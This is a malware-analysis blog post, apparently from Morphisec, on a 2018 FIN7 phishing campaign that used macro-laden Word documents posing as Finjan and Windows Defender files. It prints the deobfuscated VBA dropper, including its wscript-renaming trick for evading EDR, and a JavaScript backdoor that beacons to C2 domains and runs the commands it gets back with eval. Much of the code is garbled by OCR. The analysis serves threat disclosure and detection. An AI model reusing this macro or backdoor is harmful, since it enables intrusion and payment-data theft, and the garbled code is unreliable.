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FIN7 Not Finished — Morphisec Spots New Campaign
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This blog was co-authored by Alon Groisman.

It seems like the rumors of FIN7’s decline have been hasty. Just a few months after the well-publicized indictment

of three high-ranking members in August, Morphisec has identified a new FIN7 campaign that appears to be

targeting the restaurant industry.

FIN7, also known as Carbanak, is one of the major threat groups tracked by Morphisec and numerous other

security entities, and among the top three criminal computer intrusion cases that the FBI is currently working.
FIN7 is composed of a very sophisticated network of developers and hackers and brings in an estimated $50
million a month. They target very specific industries, hospitality — hotels and restaurants — being one of them, and
are behind a string of high-profile breaches including Red Robin, Chili’s, Arby’s, Burgerville, Omni Hotels and

Saks Fifth Avenue, among many others.

FIN7 is known for its stealth techniques and ability to continuously evade security systems. In the case of
Burgerville, malware sat on the company’s network collecting payment data for nearly a year before it was

discovered. And that was only due to an FBI investigation.

In this blog post, we present our findings on two campaigns, which occurred in the first and second weeks of
November. These campaigns follow patterns similar to those presented by FireEye in August but with just enough

variations to bypass many security vendors.

Technical Description

The initial document was probably sent within the Baltic region (or tested there). It was submitted to VirusTotal
from Latvia. The name of the document translated from Russian is “new questioner”. It is password-protected

with the password: “goodmorning”.

Oprosnik_new.doc 6e1230088a34678726102353¢622445e1f8b8b8c9celf025d11bfffd5017ca82)
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Document protected by Fijanry

INVINCIBULL

This document is completely

safety to open

To decrypt document, please perform the following steps:

If this document was downloaded fram yaur email, please chick "Enable editing”
from the yellow bar above.

Once you have enabled editing, please click "Enable content”
on the yellow bar above,

TAKE A POWER TRIP

INVINCIBULL

It uses social engineering to convince the recipient to enable macros through the use of the images, logo and

tagline of a newly launched, legitimate VPN tool InvinciBull by cybersecurity company Finjan.

If the “enable macro” button is activated, the following obfuscated Macro runs and the next stage obfuscated

JavaScript is extracted from the form caption, similar to the last several FIN7 campaigns.
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rosoft Visual Basic - 6e1230088234678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82 [design]
Edit View Insert Farmat Debug Run Tools Add-lns Window Help

E-dH ¥ & # 3 LA = @ | Ln62, Col 9 =
- ThisProject ﬂ
i3 =
X [ 6e1230088234678726102353c622445e1f8b8b8cOce1f025d11bfffd5017ca82 - UserForml (UserForm)
lormal
“hisProject (6e1230088a3467872610235306224451f8b8bSc.. UserForml B
=5 Microsoft Word Objects
] Thispocument unctior 0@@{—  var@@xahpymvid 457, ar ICEE@=@E" =
= Forms return@@fkomzajuc; unction@@ycykovyca)@@{-— var@@ung: i 4;—  var fytmy Vet
i@ userForml returt lytmykfum;—}-—var 'xust';—-—function@@ospyzinopj)@@{— var@@fimuwpomxygqro@@=e@
=1 References 7712;—- var@@zdarqyjaswyr@ @';mai’;— return@@zdarqyjaswyr; —}-—function@@obaxhoruk()@ @{-—
var@@evbovdsahav@@=@@5384;— var@@yhgowjahwe@@=@@'SHos';— return@@yhgowjahiwe;-—}-—
unction@@apajihahg)@@{-— var@@oryjtrec@@= 326;— ar@@isazifqy '000)5—  returr ywi; -}
unction@@ripkolyksy)@@{-— var@@ubegazusry = /mdupy@@=@@ pake’
retur imdupy; -Vi function@@axkukryzyk()@@{-—
ar@@hp: vk 13;— var 'n(;';— returr }-—functior ywiejl@@{-—
var@@vhiknekgicpipp@ @=@@5970;--- var@@acyjkexxuko@@=@@'esiw'’;— return@@acyjkexxuko;—}-—
unction@@ynwettyfiyjh)@@{— var@@nocdejeluxu@@=@@8810;— var@@kinujagrygm@@=@@'056)’;—
return@@kinujagrygn
var@?ohpugzax(mﬂé £ 6e1230088234678726102353¢622445€1f8b808cIce1f025d11bfffd5017ca82 - ThisDocument (Code)
far ylewbt '
ar vy | [(General =] 4
n ’ var@@yzxumycbec [T 1 ¢ eraye » 2456 Then
- : var@@bzaxvynxihnu@ s —n in
ies - ThisDocument x| Jar@@bdupjyxkygdu@@=@a ukgikb = 7uf0xymarl ) ) )
Sment Docomant = var@@orasykqec@@) oxnanamz = yqutq.ExpandEnvironmentStrings (vwywobo) & gyksigg
3810;— var@@hkytvefyvquhl zudpa = 424
EYIC‘Calegnr\zed‘ var@@khumhydevsy| rhacer = UserForml.yfgorujgapv.Caption
ThisDocument P U”C‘D”@@lc'x]‘ggi‘b()@@b{o'l; ydsypypr = 697
! return@@cqucopt _ ; . .
‘matOverride False /ar@@tahebgonsy@@=@@n rhacer Replace (rhacer, imycijz, kayngij)
shenation False RS i pyjga = "ekkabqucgedopko"
utiveHyphensLimit 0 3840, var@@uvycefior@® rhacer = Replace (rhacer, ewcobpy, vbNewLine)
TabStop 36 unction@@xvyvenwawsacru() blufsoco = "ebgigurowewji"
TargetFrame E P (11141 Tela 0 1 Rem zygwacazavicudga
Features False 2 2 i set erujza = ivifr.CreateTextFile (oxnanamz)
mbedSystemFonts True fsopsi = "pgitsyso"
:mgurwjrt\cl]ata _IT_”JE erujza.WriteLine rhacer
>martrags rue omtihm = "dfonjaxnyk"
FrueTypeFonts False B
Rem zigelzofj
ionProvider . o1
Style False evrujza. Lose
dLineBreakLanguage cwofaqu = 466 ) ) ) N
LineBreakLevel 0 - wdFarEastlineBreakLevelNormal yfiro = yqutq.ExpandEnvironmentstrings(fipmy) & fijoce
e gewalt, yEiro
tingshowclear True zgyto = 592
g 5- For Shell yfiro & hkydho & oxnanamz, False
tingShowFont False End If
tingShowNextLevel True onlavtev = "vomire"
tingShowNumbering False Rem ohizbuwgo
tingShowParagraph False MsgBox (voxy)
tingShowUserStyleName  False iguemuvn = 610
arChecked False End Sub
sanceHorizontal 9
wanceVertical 9
ginFromMargin True
ginHorizental 72
ainVertical 72 -

Examining the metadata of the document, it clearly shows that the document was created on the 11.02.2018:

PS C. . - _> oletimes.exe .\6el12300882a34678726102353c622445el1f8b8b8c9celf025d11bfffd5017ca82
oletimes 0.51 - http://decalage.info/python/oletools

HIS IS WORK IN PROGRESS - Check updates regularly!

Please report any issue at https://github.com/decalage2/oletools/issues

FILE: .\6el1230088a34678726102353c622445e1f8b8b8c9celf025d11bTffd5017ca82

Stream/Storage name Modification Time

2018-11-02 22:20:27
"\x01lcompobj"' Nohe
"\x05DocumentsummaryInform None

Following deobfuscation of the macro, we notice known FIN7 patterns of executing JavaScript from VBScript
with the slight modification of copying the wscript.exe file and renaming it to mses.exe. This may allow it to

bypass some EDR solutions that are tracing WScript by name.
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g deobfuscate_macro.ot E1 |
il Attribute VB_Name =

isDocument™

2 Attribute VB Base = al.ThisDocument"

3 Attribute VB_GlobalNameSpace = False

- Attribute VB Creatable = False

5 Attribute VB_PredeclaredId = True

6 Attribute VB_Exposed = True

il Attribute VB TemplateDerived = True

8 Attribute VB_Customizable = True

9 Attribute VB Control = "InkEditl, 0, 0, INKEDLib, InkEdit"

10

11 [Esub AutoOpen(}

12 On Error Resume Next

iz} Set SFileSystemObj = CreateObject (" ystemobject")

14 Set WScriptShell = CreateCbject ("WS 1

115 systemDriveTotalSize = SFileSystemObj.GetDrive (WScriptShell. ExpandEnvironmentStrings("%SystemDrives")) .TotalSize
& (= If systemDriveTotalSize > 2456 Then

17 rhacer = UserForml.yfgorujgapv.Caption

18 rhacer = Replace(rhacer, "@e", " ")

19 rhacer = Replace(rhacer, "---", vbNewLine)
20 Set erujza = SFileSystemObj.CreateTextFile("%tempzier
21 erujza.WriteLine rhacer
22 erujza.Close
23 cwofaqu = 466
24 yfiro = WScriptShell .ExpandEnvironmentStrings ("*LOCALEPEDA ") & "\mses.exe"
25 FileCopy "C:\\Windows\\System32\\w: pt.exe", yfiro
B Shell WScriptShell.ExpandEnvironmentStrings ("$LOCRLAPPDATAS") & "‘\mses.exe" & " //b /e:jsc t " & "Stemp%le , False
27 End If
B
29 MsgBox ("Decryption e

20 igugmuvn = 610

31 End Sub

Below is the obfuscated JavaScript that is written to the temp directory as error.txt file. The obfuscation pattern is

similar to previously seen FIN7 patterns and most probably is a derivation of the same obfuscation toolkit.
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4 C\User{SMP orData\Local\Temp\errors.txt - Notepad++
FiIe‘Edlt Search View Encoding Language Settings Tools Macro Run Plugins Window ?

2o & eyl 2 z|EBR 1 (EDEAE | @ EDI

= erorstxt B3 |

functien erovgewotul() {
var epynhofnadek =
var sgacsemcaggufbe = t';
return sgacsemcaggufbe;

}

var rlogoxufcond =
var alrajkafgypxa
var udvirekpofv = 't * ';

Elfunction ahowkopmajo() {

var onxylivbohupi = 2842;
var obebsykhete = '
return obebsykhete;

1

Cfunction optynelqakp{} {
var armufytyv = 7264;

var wvifadlexo =

return vifadlexo,

1
Elfunction atjoscbgycal() {
var abogmehevi = 57
var vipygeder = '«
return vipygeder;

-1
var gatjobyvrydy = ' "fe';

function ufabuliw() {
var avrewoted = 254
var exubfokcexm = 'y [v';
return exubfokcexm;

}

var urujdivuwtos = '

var nmacridvussabx

var ivbanoxsacdup

Elfunction yjehutamcysk() {

var bamevegoty = 5 :
var ajycixahva = '
return ajycixahvu;

-1

Elfunction ehunejkoxydv() {
var ugsemcebuhyt = ©£645;
var owfefdydlucna = 'pt

return owfefdydlucna;

]

Flfunction sygiwefpani() {
var etesqunibw = 2
var hifokegquwga =
return hifokeqguwga;

=)
eval (efygsoltel () + gochahcuku + mevmifijgogc() + odgypvikaje() + dvejkomyku:

Deobfuscated JavaScript

The deobfuscated JavaScript is actually a backdoor component that directly communicates to the C2 server (in
this case hxxps://bing-cdn[.]Jcom). It executes the response which is yet another JavaScript command, which can
be evaluated by eval. Although there have been slight modifications in the Macro delivery in the last couple of

campaigns, the JavaScript backdoor stays the same, including its communication protocol.

During the first request, the MAC address and the computer domain are also delivered to the target C2. We believe
that the next stage is only delivered to specific targets based on domains as the data that is delivered in the first

request is very limited.
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[=] deobfuscate_js bt E3
3z qunction crypt_controller (type, request) {

t {
URIComponent (request) ;

request =

var request_split = request.split(")*(");
3 request = request_split[0];
40 encryption_key = request_split[l].split("");
a1 } else {
42 encryption key = (Math.floor (Math.random() * ) + ) .tostring().split("");
43 }
4 var output = [1;
45 o for (var i = 0; i < request.length; it+4) {
46 var charCode = request.charCodeat (i) ~ encryption keyli % encryption key.length].charCodeAt(0);
47 output.push (String. fromCharCode (charCode)) ;
4 r }

49 var result_string
50 B if (type === "encrypt
S result_stri result_string + ")*(" + encryption_key.join("");
52 result_string = encodeURIComponent(result string) ;

output.join("");
cnyq

return result_string:

-}

Jfunction get_path() {
var pathes =

ico", "show png", "show jpg"l:
" + files[Math.floor(Math.random() * files.length)l;

) var path =
61 return "ht
62 Ly

try {
var http object = new ActiveXObject ("M
if (type ==

64 Efunction send_data(type, data, crypt) {

http_ob: ', get_path() + "2
data = + crypt_controlle Evm suid=" + unig id + "eid=" + id() + "&" + data);
) else {
71 http_object.open ("POST", get_path() + "?req

72 B if (crypt) {
73 data = crypt_controller ("encrypt",
| )
)

http_object.setRequestHeader ("U:
http_object.setRequestHeader ("
http_object.setoption(2,
http_object.send(data) ;
return http_object.responseText;
i } catch (e) {

2 return "no";

3 }

+ by
function main() {
var ncommand = "";
ncommand = send_data("request”, "action=get command", true);
if (ncommand !== "no") {
try {
o1 eval(crypt_controller("decrypt”, ncommand)) ;
92 } cateh (e) {}

94 wvar random knock = + (Math.floor(Math.random() * ) - ) :
5 wWScript.sleep (random_knock) ;

Yara Rules

Some additional observations that can be used to create Yara-rules for this campaign are the locations of the

loaded VBControl files that are written in clear text as part of the document files:

KBELINULINULNULNULNULINULNUZL Geiasbants D LENULNULNULINULNULNUL]

INULINULINULINULINULINULINULINULINULISTXINULINULINULINULINULINULINU LEF TX[NUL]
[ULINULINULINULINULINULINULINULINULISTXINULINULINULINULINULINULINU LJsl
DNEBNEBREBC - \Users\Administrator\Downloads\InkEd. dl ] HeyNad it

[LINULINULINULINULN

Additional Samples

After this search, we identified more samples that were created just a couple of days ago and point to a known C2

registered to the same entity (hxxps://googleapi-cdn[.]com)
Below is a summary of information for one of those documents:

The document was submitted from Ukraine (yet another former soviet union country) with the name
“dinners.doc” (f5f8ab9863dc12d04731b1932£c3609742de68252¢706952f31894fc21746bb8).

The document again uses the social engineering technique of spoofing a known and trusted entity to convince the

victim to enable macros.
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Windows Defender
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& Ao L 2017

Based on the submission date and creation time, the document is sent to the target within 2-3 days.

PS C: ) ) > oletimes.exe .\f5f8ab9863dc12d04731b1932fc3609742deh8252c706952F31894Fc21746bb8
pletimes 0.51 - http://decalage.info/python/oletools

HIS IS WORK IN PROGRESS - Check

Please report any issue at https://github.com/decalagez/oletools/issues

5f8ab9863dc12d0

+
| 2018-10-31 15:44:12 | None
"\ x01CompObj"' None | None

The macro is nearly identical to that described above except that wscript->script, errors->settings, has multiple

captions instead of a single one.
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lit View Insert Format Debug Run Tools Add-Ins Window Help
rel |6 @A 9 > 0 aYEFE RO n),c01
lisProject x|

Bl =

8 Test - Userform1 (UserForm)

al
>roject (Test) UserForm1
crosoft Word Objects
) Thisoocument var jyfokpenvu = '_kn'var fcyryrydxo = 'tch';var mbaxusase = 'kx ;function
orms ) {var =7325;var e';retun
3 UserFormt npyksarukgyw; }var praddevicofi = ‘ar ;var ajymonnavx inction
eferoncen |fustacutaf() {var rtozqewyplu = 3819;var exezasduipuk = wol;return
exezasdulpuk; }function mjemiofnenybge() {var jwyvastodu = 1980;var
necigiquto = kos'retumn elyvlotolu() {var =
12934;var igawfejusa = ‘out’return igawfejusa; function rydtulyfivo() {var
ar Y = 9160;var icwe = 'atE';returt i hal
tufiqakpacni = "= ";function jehsigfumku() {var fyjurtame = 6864;var ] [(General)
TS i Sub Autoopen ()
Dim xebfenki, woda, ywilv, itpygep, iviwrejm
U xebfenki = UserForml.pery.Caption
woda = UserForml.asuvzi.Caption
\settings txt set jtykpype = CreateObject (xebfenki)
- - i Set agulu = Createobject (woda)
- ThisDocument x| b //Esscript T oc T aoc Set ntonnam = jtykpype.GetFolder (agulu. i trings (" ILES%"))
If ntonnam.Type = "File folder" Then
i =l ywilv = UserForml.agets.Caption
| SHNTE SR R itpygep = UserForml.bigpof.Caption
L = Set pp = jtykpype.GetSpecialFolder (2)
Override [ Windows\System32\cscript.exe ivivrejm = pp & UserForml.tcirevko.Caption
ation False - . 7 Set wicasy = jtykpype.OpenTextFile (iviwreim, 2, True)
tHyphensLimit 0 - il wicasy.Write ywilv
stop 36 wicasy.Close
etFrame goglu = UserForml.opwuwdol.Caption
ures False ygobunj = agulu.expandEnvironmentStrings ("$USERPROFILE%") & goglu
dSystemFonks True FileCopy UserForml.ywvomlu.Caption, ygobunj
listicData [True Shell yqobunj & itpygep & iviwrejm, False
riTags True o X .
MsgBox ("Document decryption error")
TypeFonts False
rovider End If
N False End Sub
BreakLanguage

The JavaScript backdoor is decrypted into a similar backdoor:

var encryption key = ";
if (type === "decrypt”) {

request = decodeURIComponent (request) ;

var request_split = request.split(")*(");

request = reguest_split[0];

encryption_key = request_split[l].split("");
} else {

encryption_key = (Math.floor (Math.random() * 9000) + 1000).toString().split("");

ifunctian crypt_controller (type, request) {

r }
var output = [];
J for (var i = 0; i < request.length; i++) {
var charCode = request.charcodeAt (i) ~ encryption key[i $ encryption_key.lengthl.charCodeat (0);
output.push (String. fromcharcode (charcode)) ;

var result_string = output.join("");
=| if (type "encrypt™) {
result_string = result_string + ")* (" + encryption key.join("");
result_string = encodeURICompeonent (result_string);

E }
return result_string;

£}

GUMGO RN FPFO YR NOEWNEOB® IS 0,

9 Ofunction get_path() {

0 var pathes = ["images", "image", "content", "fetch", "show jpg"];

i1 var files = ["create logo", "get image", "create image", "show_ico", "show png", "show_jpg"l;

2 var path = pathes[Math.floor (Math.random() * pathes.length)] + "/" + files[Math.floor (Math.random() * files.length)];
i3 return "https://googleapi-cdn.com/™ + path;

a Ly

i5

6 Hfunction send data(type, data, crypt) {

7 try {

8 var http object = new ActiveXObject ("MSXML2.ServerXMLHTTR") ;

9 if (type === "request’) {

0 http object.epen ("POST", get_path() + "MSXML2. ServerXMLHTTE", false);

1 data = "cebenexfemg=" + crypt_coentroller("encrypt", "group=work2srt=0ssecret=fghedf43dsSFvm03stime=120000cuid=" + uniqg id + "cid=" + id() + "&" + data);
2 } else {

3 http_object.open("POST", get_path() + "?request=contentsid=" + unig id, false):

4 o if (crypt) {

5 data = crypt_controller ("encrypt”, data);

6 }

i }

8 http_object.setRequestHeader ("User-Agent”, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
9 http_object.setRequestHeader ("Content-Typs", "application/x-www-form-urlencoded");

0 http_object.setOption(Z, 13056);

1 http_object.send (data) ;

73 return http_object.responseText;

3 } catch (e) {

4 return "show_jpg”;

S0 - }

6 -}

7

¢ ffunction nain() {

Conclusion

Like the Hydra, cutting off one, or even three, heads of FIN7 barely slows it down. With the holiday rush nearly
upon us, we expect the threat group to step up its activities to take advantage of increased email traffic flow and
seasonal staff that may be less security conscious. Workers in any industry should stay vigilant against social
engineering methods — although with today’s highly targeted campaigns this can sometimes be tough to spot. And

never enable macros unless you are 100 percent certain that the file is safe.

Page 8 of 10



https://blog.morphisec.com /fin7-not-finished-morphisec-spots-new-campaign

% MORPHISEC

Achieving Adaptive
Cyber Resiliency

with Automated Moving Target Defense

Dawnload now

About the author

Michael Gorelik

Page 9 of 10


https://engage.morphisec.com/cs/c/?cta_guid=8d5673aa-fde1-4fc2-a110-134fb08c50e8&signature=AAH58kFgN579sLCgtBn3MS-bJv4c7_zy6g&portal_id=1534169&placement_guid=f4e7282b-bde6-4b6a-abb3-0063c3c452cb&click=0c482f43-39e8-4f81-892a-b912551c0073&redirect_url=APefjpG9AZJqPQnJxLIjVi1pdAJz8ICypPRC9BH_ORJ-y7kKZqpmOEQxQ0_mQe4-FDXSBNkEJWrIWHVn68oUoQVAj6mivZwIg3CNv-HqOKDMooie2Mbga3H-Cn9SG5PrSSyRQKneQFx9C3SPfbnPsdfvj8DRyoY8j0EXvft0PzrOX4eMnalFPHM&hsutk=&canon=https%3A%2F%2Fwww.morphisec.com%2Fblog%2Ffin7-not-finished-morphisec-spots-new-campaign%2F&ts=1775407179383
https://engage.morphisec.com/cs/c/?cta_guid=8d5673aa-fde1-4fc2-a110-134fb08c50e8&signature=AAH58kFgN579sLCgtBn3MS-bJv4c7_zy6g&portal_id=1534169&placement_guid=f4e7282b-bde6-4b6a-abb3-0063c3c452cb&click=0c482f43-39e8-4f81-892a-b912551c0073&redirect_url=APefjpG9AZJqPQnJxLIjVi1pdAJz8ICypPRC9BH_ORJ-y7kKZqpmOEQxQ0_mQe4-FDXSBNkEJWrIWHVn68oUoQVAj6mivZwIg3CNv-HqOKDMooie2Mbga3H-Cn9SG5PrSSyRQKneQFx9C3SPfbnPsdfvj8DRyoY8j0EXvft0PzrOX4eMnalFPHM&hsutk=&canon=https%3A%2F%2Fwww.morphisec.com%2Fblog%2Ffin7-not-finished-morphisec-spots-new-campaign%2F&ts=1775407179383

https://blog.morphisec.com /fin7-not-finished-morphisec-spots-new-campaign

Chief Technology Officer

Morphisec CTO Michael Gorelik leads the malware research operation and sets technology strategy. He has
extensive experience in the software industry and leading diverse cybersecurity software development projects.
Prior to Morphisec, Michael was VP of R&D at MotionLogic GmbH, and previously served in senior leadership
positions at Deutsche Telekom Labs. Michael has extensive experience as a red teamer, reverse engineer, and
contributor to the MITRE CVE database. He has worked extensively with the FBI and US Department of
Homeland Security on countering global cybercrime. Michael is a noted speaker, having presented at multiple
industry conferences, such as SANS, BSides, and RSA. Michael holds Bsc and Msc degrees from the Computer
Science department at Ben-Gurion University, focusing on synchronization in different OS architectures. He also

jointly holds seven patents in the IT space.
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